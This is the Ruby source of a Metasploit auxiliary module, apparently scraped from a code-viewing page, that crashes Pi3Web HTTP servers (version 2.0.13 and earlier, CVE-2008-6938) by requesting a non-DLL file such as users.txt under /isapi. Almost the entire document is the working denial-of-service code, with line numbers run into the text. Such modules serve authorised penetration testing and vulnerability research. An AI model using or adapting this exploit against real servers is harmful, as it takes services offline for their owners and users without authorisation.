Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/windows/http/pi3web_isapi.rb
Views: 11788
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Dos89def initialize(info = {})10super(update_info(info,11'Name' => 'Pi3Web ISAPI DoS',12'Description' => %q{13The Pi3Web HTTP server crashes when a request is made for an invalid DLL14file in /isapi for versions 2.0.13 and earlier. By default, the non-DLLs15in this directory after installation are users.txt, install.daf and16readme.daf.17},18'Author' => 'kris katterjohn',19'License' => MSF_LICENSE,20'References' => [21[ 'CVE', '2008-6938'],22[ 'OSVDB', '49998'],23[ 'EDB', '7109' ]24],25'DisclosureDate' => '2008-11-13'))2627register_options([28OptString.new('FILENAME', [ true, 'File in /isapi to request', 'users.txt' ])29])30end3132def run33begin34o = { 'uri' => "/isapi/#{datastore['FILENAME']}" }3536c = connect(o)37c.send_request(c.request_raw(o))3839print_status("Request sent to #{rhost}:#{rport}")40rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout41print_status("Couldn't connect to #{rhost}:#{rport}")42rescue ::Timeout::Error, ::Errno::EPIPE43end44end45end464748